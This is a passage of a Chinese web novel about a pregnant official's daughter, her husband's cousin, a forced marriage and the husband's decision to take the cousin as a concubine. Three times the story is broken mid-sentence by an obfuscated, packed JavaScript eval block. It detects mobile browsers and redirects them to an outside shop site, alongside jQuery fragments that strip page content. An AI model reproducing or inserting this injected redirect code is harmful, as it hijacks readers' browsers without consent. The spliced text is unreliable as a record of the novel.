众人抬眼望去,只见裘玉莹手中握着几块碎开的透明石头,手心因为太用力而被石头边缘割开的伤口处,正慢慢渗着血,与石头上红色粉末混合在一起,将石头染成半边红色。 “你把这块石头中间填上红色粉末,丢在那箱玉石里,先前那么多珍珠翡翠都是真的,我和师傅自然不会觉得这一块是假的。若非是客人当着我的面指出来,我恐怕要一辈子被你蒙在鼓里!” “真相摆在眼前,你还有什么好说的?” 裘玉莹义正言辞,眸间燃烧着熊熊火焰。 若非叶蕙珠是侍郎千金,若非她如今怀着身孕,若非裘氏在一旁拉着自己,自己早就上去让她尝尝欺骗自己的下场! 叶蕙珠看着裘玉莹手里的血色石头,眼底疑惑一闪而逝。 她低眉觑了眼裘玉莹倔强的小脸,还有那双狐狸眼里透露出来的不屈眼神,忽然勾唇轻蔑一笑。 “呵!” “我叶蕙珠生来不是那种弄虚作假的人,给你的东西是真的就一定是真的!你以为随便拿一块破石头来就能抓住我的错处,进而独吞那箱东西了?” “我告诉你,做梦!” “东西我给你了,你我的约定虽未写明契约,但那箱东西价值巨大。我只给你一个月的时间,一个月后,我若是见不到银子,你就等着吃牢饭吧!” “这……”裘氏听得都有些迷糊了。 侄女说三儿媳让她卖假货,三儿媳却说没有。 如今两人各执一词,她倒不知道要站在谁那一边了。 裘氏的目光在两人身上飞快扫过,最终停在了叶蕙珠的肚子上。 “玉莹别急啊!” 裘氏抬手轻抚了下裘玉莹的头,裘玉莹原本浑身戒备,这个温柔的动作让她鼻头一酸,她今日从遇到那位客人被打巴掌开始,受尽了各种委屈,裘氏是除了那位美丽夫人外第一个安慰她的。 “姑姑!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488340|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她往前一步扑进裘氏怀里,等着她这位长辈为自己做主,头顶却传来裘氏轻柔却不容拒绝的声音,“你表嫂如今怀着孩子,不如你先退一步向她道个歉吧!” 裘玉莹难以置信退出裘氏怀抱,抬眼看见这个一向温柔待她的长辈对她说,“你欠她的那箱子东西,等三哥儿回来我让他和蕙珠说一声,大家都是一家人,总不好因为几个银子就进牢子了,你先跟她道个歉……” “姑姑!!” “娘说得这是什么话?什么叫让相公跟我说一声?” “裘玉莹拿走了我一箱子价值不菲的玉石珠宝,到期没有拿出足够的银子还我,自然要付出应有的代价!”叶蕙珠比裘玉莹先板起脸,她目光冷冷地略过杵在裘氏身后的沈家哥嫂身上,意有所指道:“还是娘觉得我的银子就该是你们沈家人的,你们想怎么花就怎么花,花光了还能往我身上泼一盆脏水?!” “不不!娘不是这个意思!” 叶蕙珠的语气让裘氏想到两人不欢而散的那场谈话,打那之后沈家的生活条件大幅下降,裘氏是吃够了这方面的苦,再也不想轻易惹恼叶蕙珠。 她连忙推了把裘玉莹,朝她挤了挤眼睛,“快跟你表嫂道歉啊!” 裘玉莹摇头,眼眶中的泪水几乎要溢出来,“姑姑,明明是她先骗我的!要不是她,师父不会……” “哎呀!你这丫头怎么就这么倔啊!”裘玉莹正难过之际,沈家大嫂不知何时走到她身边,未加修饰的粗眉连在一起,眼中都是对裘玉莹不识抬举的不满,“三弟妹家大业大,手里漏一点银子都够你那个小店过活好几个月了,她怎么可能费那个心思去害你!一定是你误会她了!” “你身为晚辈,借住在沈家,吃的住的都是你三表嫂提供的,你不好好感谢她就算了,怎么还能怀疑她呢?” “我……!”裘玉莹白着脸,张了张嘴说不出话。 “还有她如今正怀着孩子,你这样冒失地冲进来与她争论,要是一个不好吓到孩子可怎么好?”注意到叶蕙珠微变的脸色,沈家大嫂连忙打了下自己嘴巴,“呸呸!” “我的意思是……你这丫头怎么这么不识好歹?还不快向你三表嫂道歉!” 沈家大嫂说罢,不等裘玉莹反抗,硬拉着她走到叶蕙珠面前,一手掐住她的腰,一手按在她的后脑,迫着她弯下腰朝叶蕙珠鞠了个躬。 “玉莹给你道歉了,三弟妹别生气啊!” 叶蕙珠扭脸避开,根本不屑裘玉莹的道歉。 沈家大嫂从前是跟着沈家大哥做农活的,身上气力不是裘玉莹一个娇滴滴的小姑娘可比,她使出浑身力气却挣不开分毫,只能不情不愿对着叶蕙珠鞠了躬。 直到鞠躬结束沈家大嫂卸了力道才用力推开对方,“放开我!” 她直起身子环视一圈,裘氏的偏心,沈家大哥的沉默,沈家大嫂不顾她自尊的按头道歉,以及叶蕙珠眼底的冷漠不屑,正如一个又一个巴掌落在裘玉莹脸上。 她那一侧脸颊又开始隐隐发疼。 “我讨厌你们!” 裘玉莹忽然冲着众人大吼一句跑出院子,众人望着这一幕愣了片刻。 还是裘氏最先反应过来,“小姑娘面皮薄,发现自己误会了她表嫂不好意思说,只能自己先走了。” “不过她已经认识到自己错了,蕙珠就别跟她一般见识了!” 叶蕙珠本也不把裘玉莹放在眼里,只是她有一个表妹的身份,每天又顶着那张脸在自己男人面前乱晃,是个人都接受不了,加上裘玉莹对自己的态度也不多恭敬,叶蕙珠自然对她更加没有好脸色。 “娘说的我都知道,今日的事就算了,且等以后吧。一个月后,要是看不见银子,我定要把她送进大牢!” 叶蕙珠半是认真半是放狠话,裘氏闻言连连点头敷衍,沈家大嫂也跟着附和点头。 离开叶蕙珠的院子后,沈家大哥立刻用胳膊肘怼了下身旁的女人。 “喂,今天本来只是三弟妹和玉莹那丫头之间的事,你没看连娘都不敢随便说话,你做什么跑到前面添乱?嫌自己日子太好过啊?” 沈家大嫂停住脚步,扭头朝周围望了望,确认没有沈家人也没有一个叶蕙珠的下人,才拉着沈家大哥半勾下身子。 “你不知道,今天玉莹丫头手里的石头是我放进去的!” 80. 回家 “什么——?” “嘘!你小声点!”沈家大嫂心虚地又朝周围看了眼,“你不是说娘的生日快到了,要给娘准备一份礼物吗?咱们手里银子又不够。” “我,我就想到三弟妹那么有钱,手里一定有很多不常用的首饰什么的,要是能弄来一个当了,多少也值点银子……” “你!” 沈家大哥咬着腮帮子,一双和沈仕楣相似的眼睛瞪得大大的,手指着沈家大嫂气得想打人,“你知不知道这事要是让三弟妹知道会怎么样?咱们当面要银子她都不肯给,要是被她知道你偷……” “换,是换!” 沈家大嫂连忙按下他的手,苦着一张脸,“我特意花了三两银子找人做的一模一样的宝石,买通了她院子里的小丫头换的。谁知道会被玉莹那丫头拿去做了首饰,还这么巧被人看出来!” “你!”沈家大哥气得险些咬碎后槽牙,对上沈家大嫂求救的眼神,只能恨铁不成钢地重重一拍手,“无知妇人!” “我们沈家什么时候出了你这样的人?你眼里还有没有礼义廉耻?” “那我不也是想着咱们身为大房得给娘准备好点的礼物,不能在三弟面前丢了面子嘛!而且我特意交代了拿三弟妹不常用的物件出来,这样等她发现的时候早不知道猴年马月了,哪晓得事情会这么快暴露?” “你以为你做得天衣无缝吗?”见她依旧执迷不悟,沈家大哥彻底怒了,“南朝律法规定妇人嫁妆归自己所有,你拿了她的东西,万一哪日那个小丫鬟反悔供出你,你就要进大狱了!” “你想去吃牢饭吗?” 哪怕他气得火冒三丈,依旧记得压低声音,不让家里下人听见。 沈家大嫂见状也有些后怕了,忙问道:“那现在事情被发现了,该怎么办?要是真的像你说的要吃牢饭,要不我一会去找三弟妹说清楚,把银子再还给她?” “蠢妇!” 沈家大哥再次狠狠瞪了她一眼,眼底有愤怒,埋怨,心疼,却没有一丝纠结。 良久,他眸色几番变幻最终化为一抹厉色,沉声道:“她侍郎千金自己把一箱子东西给了别人,引得他人起了占有心反手诬陷,关咱们什么事?” “以后她们俩的事我们不要掺和就是!” 沈家大嫂闻言终于放心笑起来,“相公说得对,我晓得了。” 两人终于恢复平静继续往自己院子走。 走着走着,沈家大哥渐渐抬起了头,伸手揽住沈家大嫂的腰,沈家大嫂也回搂着对方的腰把头靠在他肩上。 两人为了那些庄稼活吵了十几年,第一次这么亲密。 “这次咱们给娘买个大点的礼物吧!” “都听相公的。” “也给你买个好点的,就买咱们看中的那支金手镯!” “相公,你对我真好!” * 裘玉莹委屈地跑出沈家,西娘子与她断绝了师徒关系,京城她也没地方去,一气之下竟然直接跑到城门口才停下。 她站在城门下回望着身后那条宽阔的街道,眸中满是愤恨。 沈家到底不是自己的家,每次自己和叶蕙珠有矛盾时,所有人总是站在叶蕙珠那边。即使被打的是自己,被骂的是自己,被冤枉被欺负的是自己,他们全都装作看不见! 既然这样,沈家也没必要待了,反正师父已经和她断绝了关系,首饰铺子开不下去,自己还是回家好了。 裘玉莹带着一身的委屈回到京郊不远处的裘家。 京郊没有城内的那些高门大院,只有几间矮矮的土房和一圈竹子围成的篱笆。 裘玉莹还没走到家就看见自己娘亲正站在篱笆外紧张地观望,似乎在等什么人。 待裘玉莹的身影越发清晰后,她眼中终于露出笑意,“玉莹回来了!” 裘母的微笑仿佛上好的治伤良药,瞬间抚平了裘玉莹心底的伤。 “娘——!” 她像个孩子一样委屈地撇撇嘴,快步小跑进裘母怀里。 “好孩子,回来就好,回家就什么都不用怕了。” “嗯。” 裘玉莹抱着裘母痛哭一番,终于将心中那点苦闷憋屈哭得一干二净,等她好不容易发泄完,才想起裘母刚才一直站在门口。 “娘是在等什么人吗?” “娘就是在等你啊。” “等我?” 裘玉莹有些不解,裘母抬手帮她擦干净眼角的泪痕,语气平淡。 “西娘子派人送消息回来,她说以后不再是你的师父了,你去京城不就是因为她?现在师徒关系已断,娘猜你会回来的。” “师父……” 提起西娘子,裘玉莹还是有些心痛。 两人做师徒不过三年的时间,期间西娘子却教会她很多东西。 除了有关首饰设计方面的知识,最多的就是让她知道像她们这种人嫁人后会过什么样的生活,西娘子告诉裘玉莹的甚至比裘母告诉她的还多。 想到一颗掺了粉末的石头就将两人师徒缘分斩断,裘玉莹鼻尖又是一酸。 裘母见她难过连忙将她抱在怀里轻拍着后背,“好孩子,你打小就是个懂事的,知道自己出去找活干为家里分忧。” “但是西娘子是个寡妇,你与她待在一块时间久了连嫁人都不好嫁的,如今断了关系正好,可别伤心了!” 刚回来就被提起这件事,裘玉莹脸上划过一丝不耐烦,“娘,我说过,我现在不想嫁人!” “哪怕没有师父,我也可以凭自己的本事挣钱,到时候让你和爹过上好日子,再让弟弟去书塾读书!以后咱们家里也能出个沈表哥那样的人物,姐姐们也不用再被夫家磋磨了!” “好好好!”裘母含笑看着裘玉莹,眸光里满是温柔,“娘知道你是个孝顺的孩子,那些事情太远了,还是先回家吃饭吧!” “天色不早,我一直瞧不见你的身影,还以为你要明日回来呢。” 裘玉莹吸了吸鼻子,“京城有什么好待的,沈家又不是我的家!” 裘母又笑了,“是是是,一会我就和你爹说,让他告诉你姑姑,以后你就不回沈家了。” “咱们自己过自己的日子!” “嗯,娘真好!” 裘玉莹紧紧抱着裘母,感受着家人的温暖,心中感慨果然还是自家人才会心疼自己! 沈家,不过是一群狗眼看人低的! 裘玉莹跟着裘母进门后,恍然发现自己房间摆了好多东西,上面还贴了不少红纸,就连自己床下都有不少。 “娘,这是什么?” 裘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493375|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母眼神微闪,“哦,那个啊,前几天有人成婚你爹去观礼带回来的,家里没地放,就先放你房里了。哎,饭好了,快来吃吧!那个明天再收拾。” “哦。” 这一晚,裘玉莹难得吃了一顿热闹的晚饭,虽然爹爹还是板着脸不爱说话,虽然弟弟还是小小年纪就总是欺负她,但是娘亲的笑她一直记得。 那种温柔的,眷念的,不舍的,仿佛下一刻两人就要分开的眼神,让裘玉莹很是沉迷! 晚饭后,裘玉莹回到自己房间休息,今日发生的事情太多,她哭了很久又一路从京城走回家,很快便陷入沉睡…… “谁叫你现在弄这个东西了!这不添乱吗?一会又把人吵醒了!” “你别乱叫就吵不醒她!” 裘玉莹睡得昏昏沉沉时,耳边传来一男一女的争吵声,她不用睁眼都知道是爹和娘又在吵了。 就像师父说的,贫贱夫妻百事哀! 裘玉莹习惯了。 她翻了个身继续睡,屋外的争吵却没停。 “你弄这做什么,到时间花轿直接把人接走,谁看得见?” “怎么说也是玉莹的人生大事,没有八抬大轿就算了,我身为她娘,给她撑撑场面不行吗?” “场面?你以为你贴几张红纸就算是撑场面了?别让人家何员外笑话!” “玉莹到底是不是你的孩子,你就一点都不心疼她?” “我怎么不心疼?老子废了半天力气才给她找的好亲事,家有黄金万两的员外,她嫁过去就是正房,这还不算是好亲事?” “可那何员外已经五十岁,家里孩子都快比我们玉莹大了……” 女子的声音忽然哽咽起来,屋外陷入了一片沉默。 良久,男人的声音再次响起。 “玉莹是个好孩子,惦记着让我们过好日子,让弟弟念书,就连她上头几个姐姐她都记得。” “这些,她嫁给何员外以后都能实现,这不就够了?” “你难道不想让咱们耀祖去书塾读书,和我妹妹家三郎一样在京城当大官吗?” 屋外再次陷入沉寂,良久…… 天亮了。 裘玉莹再次站在沈家门前时,眼神已经变得麻木。 师父说得对,如果没有足够的钱财和实力,自己只会和几个姐姐一样,被迫成亲,像她前三十年一样度过一生。 可是凭什么呢? 凭什么自己一心想着爹娘,他们心里却只有弟弟?凭什么她那么费尽心思挣钱,到头来还是失败?凭什么她这么努力还是越不过那道坎?凭什么叶蕙珠是侍郎千金,就能如此玩弄她?凭什么她怀着沈家的孩子,自己就必须让她三分,任她打骂? 凭什么所有人都能欺负她? 凭什么别人如此羞辱自己,自己却不反击? 对!自己该反击!让所有欺负自己的人好好看看,让他们后悔一辈子! “玉莹,你怎么在这?” 沈仕楣一身官服迎着日光走出来,身姿挺拔,眼神温柔,“昨晚怎么没回来?娘还以为你回家去了。” 裘玉莹在他走近时忽然伸手抓住他的衣摆,咬着唇慢慢抬眸望向他,白皙的小脸上写满脆弱,眸中尽是惊恐和不安,带着令人怜惜的破碎。 “表哥……” 81. 做主 裘玉莹忽然扑进沈仕楣怀中,娇软的身子让沈仕楣浑身一僵,他下意识抬起手在裘玉莹肩头拍了拍,柔声问着,“怎么了?” 裘玉莹没说话,只是扑在他怀里哭。 女子声音细弱,断断续续的哭腔加上偶尔的哽咽抽泣,更显得柔弱非常,沈仕楣瞬间挺起胸膛,将裘玉莹紧紧抱住,声音越发柔和几分,“好了,别哭了,到底发生什么事情了,跟表哥说,表哥替你做主!” 沈仕楣虽这般说着,落在裘玉莹颈侧的目光却十分虚浮。 昨夜他回家时提起裘玉莹,叶蕙珠的脸色十分难看,想来两人之间发生过一些事情,只是没人告诉他,他便当不知道。 若是旁的还好,若真是和叶蕙珠起了争执,他只好叫自己这个娇滴滴的表妹受些委屈了。毕竟家里那个是母老虎的性子,现在又怀了孕,就连娘都不站在自己这边。 沈仕楣正酝酿着一些敷衍的安慰,诸如让她不要和叶蕙珠计较之类的,裘玉莹却忽然抬起头,细嫩的脸颊微微擦过他的唇瓣,轻柔到几乎感觉不到的触感,叫沈仕楣一时愣了神。 裘玉莹眼眶已经红了,看向沈仕楣的眼中满是希冀,仿佛他只要拒绝她,就能彻底断了她的生路。 “昨日我归家,发现……发现爹和娘已经为我定了一桩亲事,他们要把我嫁给一个五十多岁的员外!”裘玉莹抬眸,泪水的洗涤让她的一双狐狸眼越发灵动可人,“表哥,你帮帮我好不好!” “我不想嫁给那个员外!” “竟有这种事?” 骤然听闻与叶蕙珠无关,沈仕楣大大松了口气! 如今他已是官身,不过是帮裘玉莹退掉一桩根本不合适的婚事,自然便宜! 他肃着神色,对裘玉莹承诺道:“表妹放心,我既已知道此事,就必不会让你嫁入歧途!你先在家好好待着,待我下了值便去一趟舅舅家!” “不!我不要回去!” 裘玉莹又扑进沈仕楣怀里,两手紧紧抓着沈仕楣的胳膊不松开,仿佛抓住了最后一根救命稻草。 “爹和娘知道沈家的住址,若是我待在这很快会被他们抓回去的!表哥你救救我!” 胳膊上传来异样的柔软触感,沈仕楣表情微僵,他动了动胳膊,想把手臂抽回,女子却以为他要将她抛弃,用了更大的力抱住他。 青色官服陷进去时他浑身都僵了,脑袋一热说道:“好,那我让莫书给你找一间客栈,你在那等一等,我和舅舅说清楚后就来带你回家!” 裘玉莹终于满意,对着沈仕楣眨了眨眼睛,目带钦佩。 “多谢表哥!” “不用客气!” 裘家本就因为大婚之日新娘逃走而被何员外堵了一天,沈仕楣出现后正好将一家人拯救于水火之中。 虽然他大口一张要解除婚约时,遭到何员外的反对,但是当他陆续搬出叶侍郎,陆国公,顾国公等名字时,那位何员外的脸一白,终是心不甘情不愿地带着自己的人离开了。 裘家舅舅见状连忙恭维,“仕哥儿如今真是越来越有出息了!” 沈仕楣并未多言,只是告诫两人以后莫要拿裘玉莹的婚事开玩笑,并得到两人的点头保证后才回了城。 天色不早,沈仕楣命莫书先行回家跟叶蕙珠说一声自己稍后就回去,然后转身去了裘玉莹所在的客栈。 他循着掌柜所指的房间号进来时,看见的就是裘玉莹站在凳子上,努力往白绫上够的场面! “玉莹!” 说时迟那时快,沈仕楣不知哪里冒出一股力气,一个文弱书生竟直接冲了过去,将裘玉莹抱了下来。 “你放开我!让我去死!表哥让我去死!” 求死不得的女人在沈仕楣怀里胡乱挣扎,手脚都放得不是地方,可他没时间提醒她,只能用身体将她紧紧压在地上,直到裘玉莹再没了挣扎的力气,才看着她的脸问道:“你这是做什么?” “婚约我都帮你解除了,你以后想做什么就做什么了!何必寻死呢?” 裘玉莹表情苦涩,满眼都是绝望,“表哥是男子,自然不懂女子的苦楚。” “爹娘生我一场,我总要报答他们,可是他们想让我嫁的人我不愿嫁,表哥拒了这次,总还有下次。” “与其一直这样躲躲藏藏,时时警惕,不如我死了,他们想拿我这具身子做什么就去做吧!只要我不知道就好了!” 裘玉莹大概是在客栈午睡过,身上只穿着就寝时的里衣,夏日衣衫单薄,方才两人这么一挣扎,她胸前的风景沈仕楣几乎已经一览无遗。 一想到这样美好的身子险些被今日看见的那个老头子糟蹋,他便怒从中起,“住口!你知不知道爱惜自己!” 裘玉莹闭上眼,一滴泪从她眼中滑落,她没有言语,只是在沈仕楣身下无声啜泣,纤弱的身子微微颤抖。 美人落泪从来都是令人怜惜的,何况这个美人是自己认识了十几年的表妹,甚至正半裸着躺在自己身下,沈仕楣目光逐渐加深,他一手轻抚裘玉莹的脸颊,幽幽开口,“既然舅舅总要将你嫁人,那不如我来娶你!” 裘玉莹猛然睁眼,对上沈仕楣那陌生的眼神时下意识停止了呼吸。 “表哥……!” 沈仕楣没有回答,而是将人抱起,慢慢走向客栈的床上…… * 沈仕楣回府时已经是深夜,沈家大门前留的那盏灯已经昏暗不堪,将要熄灭。 他推开门,院中一片寂静,只有莫书蹲守在门后,听见动静后连忙睁开眼。 “公子。” “嗯,夫人睡了吗?” “已经睡下了,奴才先说的公子稍后就回。更声打了第一次后我按照往常一样,说公子被醉酒的同僚绊住脚,可能夜半才回,夫人便先睡了。” “嗯,做得好,你也回去睡吧,明日休息一天。” “是。” 沈仕楣蹑手蹑脚走回房间时,叶蕙珠已经熟睡,他躺在她身旁,刚一躺下耳边传来叶蕙珠的声音。 “你回来了?” 沈仕楣身子一僵,转头望过去叶蕙珠连眼睛都没睁开。 “嗯。” 他按照往常一样先在叶蕙珠额前落下一吻,又摸了摸她的肚子,声音轻柔,“我回来了,娘子和孩子辛苦了,快睡吧。” 叶蕙珠迷迷糊糊又陷入沉睡,他这才松了一口气转过身睡觉。 翌日叶蕙珠醒来时,沈仕楣早已穿上官服去上值了。 沈家哥嫂因为自己降低了沈家生活条件再也没在自己面前嚣张过,裘玉莹又因为一个破石头自己离开沈家,沈仕楣每天虽然回来得晚,但是每晚必会亲亲抱抱她和孩子,每天没有需要操心的事情,只用好好养胎,期待孩子的降生。 叶蕙珠觉得这段时间大概是自己过得最舒服的日子了。 可惜幸福的时光是这么短暂,当沈仕楣拉着裘玉莹的手站在叶蕙珠面前说要纳她为妾时,叶蕙珠登时大脑一片空白! “你说什么?” “我想纳表妹为妾,希望娘子成全。” 叶蕙珠冷冽的目光自上而下落在两人身上,停在裘玉莹抓着沈仕楣衣角的手上,“是她勾引你,让你来纳妾的?” 沈仕楣摇头,“没有。是我喜欢表妹,希望能一世照顾她……” “别说了,快别说了!” 裘氏注意到叶蕙珠表情越来越冷,连忙冲沈仕楣使眼色,有什么事不能等到她生完孩子再说啊? 尽管叶蕙珠的目光十分尖锐,尽管裘氏一直努力向他使着眼色,沈仕楣还是看了眼身旁柔弱不已,只能全身依靠自己的少女,鼓起勇气开口,“玉莹已经是我的女人了,我想纳她为妾,还望娘子成全! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502073|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “贱人!” “啊!” 一个茶杯忽然冲着裘玉莹飞过来,她下意识往身旁一躲,带动沈仕楣身形微动,茶杯正好砸在了沈仕楣的额头上,滚烫的茶水混着血液缓缓流下来。 “三哥儿!” “表哥!” 裘氏和裘玉莹吓得手足无措,一个急着上前查看沈仕楣的伤情,一个感动得眼泪汪汪看着他。 叶蕙珠却为裘玉莹躲过这一砸越发愤怒,更是因为沈仕楣为她挡下这一击,眸底闪过一丝嫉妒! “把你刚才的话再说一遍!” “我说,我要纳玉莹为妾!” 也许在来之前沈仕楣心中还有一丝顾虑和迟疑,但是当滚烫的茶水在所有人的目光下浇在自己头上时,那份迟疑瞬间化为坚定! “娘子再问多少遍也是这个答案。” “沈仕楣!”叶蕙珠终于坐不住了,她迈着沉重的步伐走到男人身前,丝毫不错地盯着他,“你知道自己在说什么吗?” “你难道忘记了成婚之日你是怎么在父亲母亲面前承诺的?你说愿与我永结同好,一心一意,此生珍之爱之!” “如今我们成婚还不到一年,你就要在我怀孕的时候纳妾,你难道就是这么珍爱我的?!” 叶蕙珠眼底满是心痛,她从未想过自己低嫁进沈家,为了沈家操劳忙碌,甚至把自己的嫁妆都拿出来贴补,竟要在怀孕时被这般对待! 叶蕙珠又生气又伤心,见男人沉默不语,她又将目光转向躲在男人身后的裘玉莹,眼中嫉妒越积越浓,化为无穷怒火。 “都是你!是你勾引的相公!贱人!” “你……!” 叶蕙珠抬手就是一道凌厉的巴掌,裘玉莹眼看着那只手向自己扇过来,正如两人初见时叶蕙珠那毫不留情的羞辱,瞬间浑身僵硬站在原地,紧紧闭上双眼。 “住手!” 火辣的刺痛即将落在裘玉莹脸上时,沈仕楣忽然出手握住了叶蕙珠手腕。 他表情严肃,眼带嫌恶,“你说我做得不够好,那你又是怎么做的?” “自从娶妻后,我在你面前一直谨小慎微,每天活得像个孙子一样,甚至连一点自己的空间都没有!” “每晚必须宿在你屋里,哪怕你孕期什么都不能做。每日必须对你和孩子说喜欢,哪怕我上值归来心情不爽也不能表现出来。每天要看你的眼色过日子,哪怕我是一家之主也没有说不的权利!” “这样的日子我实在过够了!” 沈仕楣大吼一声,松手甩开叶蕙珠的手腕。 叶蕙珠本就因他的话怔愣出神,不妨被他用力一推,身体重心不稳,竟险些摔倒在地! 还是裘氏眼疾手快,一直关注着叶蕙珠肚子的情况,见她要摔倒,连忙过去将她扶住了。 “哎呦!蕙珠没事吧?肚子里的孩子没事吧?” 叶蕙珠耳边嗡嗡的,裘氏的关心和问候她一句都听不见,脑中不停回响着沈仕楣刚才的指责,还有他推开自己时的那个眼神。 “你讨厌我?” 叶蕙珠紧紧皱着眉,眸中带着不解问出这句话。 “是!我讨厌你!” 沈仕楣毫不犹豫回复,“玉莹说得对,我是夫主,你本就该听我的!” “侍郎之女又如何?还不是看上我的才华后,宁愿换亲也眼巴巴的要嫁过来!” “为了穿嫁衣好看在我们大婚当日将自己饿到昏厥,又在你弟弟中榜大喜之日,因为嫉妒叶青漓过得好气到昏厥。你丢了这么大的丑我都没嫌弃你一句,我今日不过想要纳个妾而已,你凭什么这么激动?” 沈仕楣越想越气,看向叶蕙珠的目光也越发骇人。 “我要纳玉莹为妾!” “你记住,我不是来征求你的意见,而是来告知你!” 82. 死都不悔 “你!” 叶蕙珠捧着肚子,呼吸因为极度愤怒变得急促不已,小腹传来的微痛让她脸色发白,她却仍旧眸中带恨看向不知何时勾搭在一起的狗男女,忽地冷笑一记,“好啊!沈仕楣,你可真行!背着我偷吃偷到家里来!还死不悔改!” “你以为你要了她我就必须得接受?你以为我怀孕了你就能拿捏我了?” “我告诉你,休想!” “我是娘的女儿,是陆国公的外孙女,只要我想,你头上这顶乌纱帽明天就能被摘下来!” 裘氏闻言脸色大变,沈仕楣是他们沈家人几辈子才出的一个独苗,千万不能因为纳妾这件小事就毁了啊! 裘玉莹也神色微顿,紧张地看着沈仕楣。 虽然这几日她努力挑拨沈仕楣,勾起他藏在心中对叶蕙珠的厌恶和不满,可沈家一家几乎都靠着叶蕙珠生存,若是她用沈仕楣的官位威胁,恐怕自己讨不到好…… 身为当事人的沈仕楣却丝毫不为所动,甚至略带威胁意味地看向叶蕙珠。 “你想做就尽管去做好了,到时候我做不了官,你腹中的孩子也只能一辈子做个下贱的平民!” “你敢威胁我?!” “下官不敢。” 沈仕楣声音平淡,可他的表情,他的行为,他的一举一动都在向叶蕙珠提起反抗! 叶蕙珠怎么能容许这种事情发生? 她当即吩咐下人收拾东西,“来人,回府!” 哪能让儿媳妇因为纳妾的事大着肚子气回娘家? 裘氏越发着急,急忙拦着叶蕙珠,“蕙珠啊,别生气,别生气啊!” “三哥儿定是吃酒吃太多,脑袋糊涂了,娘这就骂他!你别走,啊,别走!” 裘氏的主动宽慰令叶蕙珠脸色略微缓和。 沈仕楣一向最听他娘的话,只要裘氏狠狠教训他,打消了他纳妾的念头,自己也不是非走不可!不过裘玉莹这个贱人以后是绝对不能继续待在沈家了! 她站在原地,等着裘氏训诫沈仕楣。 未料裘氏还没开口,沈仕楣忽然转身怒道:“娘,你别管她,就让她走!” “今日我倒要看看这个家到底是谁做主?!” “沈仕楣?!”叶蕙珠勃然大怒,手指向一旁矫揉造作的裘玉莹,“你今日是铁了心要纳这个贱人为妾?” “没错!” “死都不悔?” “不悔!” “好!你可要记住你今日说的话!” 叶蕙珠再不犹豫,带着下人和行李就坐上了回叶府的马车。 裘氏望着自己的宝贝孙子被带着离开,下意识埋怨起裘玉莹。 “玉莹,你是什么时候和三哥儿在一起的?你想进府做妾怎么不先跟姑姑说呢?你看现在把你表嫂气走了,万一到时候叶侍郎来问罪你表哥可怎么办?” “娘!”沈仕楣挡在裘玉莹身前,一脸不耐烦,“她要回就让她回去好了!” “男人三妻四妾是再正常不过的事,这种事就是闹到圣上面前我都有理!” “何况她如今怀着我的孩子,一辈子就是我沈家的人了,不过是一时生气回娘家耍耍小性子,等她气消了自然就会乖乖回来了!” “可……” 裘氏心中依旧担忧,叶家和沈家门第相隔太大,就连沈仕楣如今能留在京城做官都还是叶家找人牵线促成的,万一叶侍郎疼爱女儿,真的一个不高兴就撸了沈仕楣的官,他们岂不是没法子? * 叶蕙珠没提前送消息,一个人回了叶府,陆怡珊刚得到消息就猜到是夫妻之间闹了矛盾。 她匆忙出来迎接,看见的就是叶蕙珠挺着大肚子,满眼泪水,又伤心又委屈的样子。 “娘——!” “珠儿!” 陆怡珊连忙上前将叶蕙珠紧紧抱住,抱着她左看右看,确定她身上并未有损伤,才悄悄松了口气。 她扶着叶蕙珠坐下,又命下人拿来叶蕙珠爱吃的糕点和茶水,这才问道:“发生什么事了?你怎么一个人回来了?姑爷呢?” 听见沈仕楣的名字,叶蕙珠瞬间冷了脸,“娘你别跟我提他!” “你们这是……吵架了?” 叶蕙珠从前凹凸有致的身材因为孕期变得圆滚,大大的肚子也让她身形显得越发笨重。她艰难坐在那里,皱眉捧着肚子,眼中隐隐含着泪水,“他说他要纳妾!” “什么?!”陆怡珊当即变了脸色,“他敢?” “没良心的东西,你正为他怀着孩子,他胆敢纳妾?” “是真的!”有陆怡珊撑腰,叶蕙珠越发委屈,“今日他直接带着那女人回了家,当着所有人的面,要我同意他纳妾!” “我不同意,他还骂我!” “岂有此理!” 陆怡珊重重一拍桌子,“真是反了天了!一个区区九品,竟敢欺负侍郎之女!珠儿,你别伤心,娘这就告诉你外祖,让他撤了沈仕楣的位置!” 疼爱的女儿遇上这种事,陆怡珊瞬间化身性情中人,交代两句就打算写信给陆国公。 “别!”叶蕙珠见状连忙拦住她,“娘,不能写信!” “为什么?” “你要是真让外祖撸了沈仕楣的官职,那我和孩子怎么办?” 